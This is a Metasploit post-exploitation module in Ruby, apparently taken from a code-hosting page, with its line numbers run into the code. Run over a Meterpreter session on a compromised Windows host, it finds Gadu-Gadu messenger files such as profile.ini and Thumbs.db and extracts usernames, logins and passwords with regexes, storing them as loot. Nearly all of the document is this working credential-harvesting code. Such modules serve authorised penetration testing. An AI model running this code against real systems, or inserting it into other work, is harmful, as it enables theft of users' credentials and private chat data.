Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/gadugadu.rb
Views: 11704
# frozen_string_literal: true12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Post8# this associative array defines the artifacts known to PackRat9include Msf::Post::File10include Msf::Post::Windows::UserProfiles11include Msf::Post::Windows::Packrat12ARTIFACTS =13{14application: 'gadugadu',15app_category: 'chats',16gatherable_artifacts: [17{18filetypes: 'chat_logs',19path: 'GG dysk',20dir: 'Galeria',21artifact_file_name: 'Thumbs.db',22description: 'Saved GaduGadu User Profile Images in Thumbs.db file',23credential_type: 'image'24},25{26filetypes: 'chat_logs',27path: 'AppData',28dir: 'GG',29artifact_file_name: 'profile.ini',30description: 'GaduGadu profile User information : Rename long saved artifactto in profile.ini',31credential_type: 'text',32regex_search: [33{34extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',35extraction_type: 'credentials',36regex: [37'(?i-mx:name=.*)',38'(?i-mx:login=.*)',39'(?i-mx:path=.*)'40]41}42]43}44]45}.freeze4647def initialize(info = {})48super(49update_info(50info,51'Name' => 'Gadugadu credential gatherer',52'Description' => %q{53PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.54PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.55Further details can be found in the module documentation.56This is a module that searches for Gadugadu credentials on a windows remote host. Gadu-Gadu is a Polish instant messaging client using a proprietary protocol. Gadu-Gadu was the most popular IM service in Poland.57},58'License' => MSF_LICENSE,59'Author' => [60'Kazuyoshi Maruta',61'Daniel Hallsworth',62'Barwar Salim M',63'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org64],65'Platform' => ['win'],66'SessionTypes' => ['meterpreter'],67'Notes' => {68'Stability' => [CRASH_SAFE],69'Reliability' => [],70'SideEffects' => []71}72)73)7475register_options(76[77OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),78OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),79OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),80# enumerates the options based on the artifacts that are defined below81OptEnum.new('ARTIFACTS', [82false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|83k[:filetypes]84end.uniq.unshift('All')85])86]87)88end8990def run91print_status('Filtering based on these selections: ')92print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")93print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")94print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")9596# used to grab files for each user on the remote host97grab_user_profiles.each do |userprofile|98run_packrat(userprofile, ARTIFACTS)99end100101print_status 'PackRat credential sweep Completed'102end103end104105106